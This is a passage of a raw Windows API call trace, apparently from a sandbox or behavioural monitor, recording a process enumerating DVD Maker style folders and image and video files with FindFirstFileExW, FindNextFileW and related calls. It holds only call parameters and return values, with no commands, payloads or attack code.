ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0245.427] GetLastError () returned 0x12 [0245.427] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.428] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0245.428] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0245.429] GetLastError () returned 0x12 [0245.429] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.429] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="")) returned 1 [0245.429] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.429] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.430] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.430] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.430] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x93f3f0 [0245.430] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x93f3f0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x93f3f0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.430] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93f3f0) returned 1 [0245.430] NtClose (Handle=0x1c0) returned 0x0 [0245.430] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.430] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.430] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.430] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.430] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.430] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.430] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0245.430] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.430] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.431] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.431] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934b10 [0245.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93d748 [0245.431] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.431] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0245.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.431] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.431] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934b30 [0245.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93d850 [0245.431] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.431] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0245.431] GetLastError () returned 0x12 [0245.431] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.431] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.432] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.432] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0245.432] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0245.432] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0245.432] GetLastError () returned 0x12 [0245.432] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.432] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.433] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.433] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.433] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, 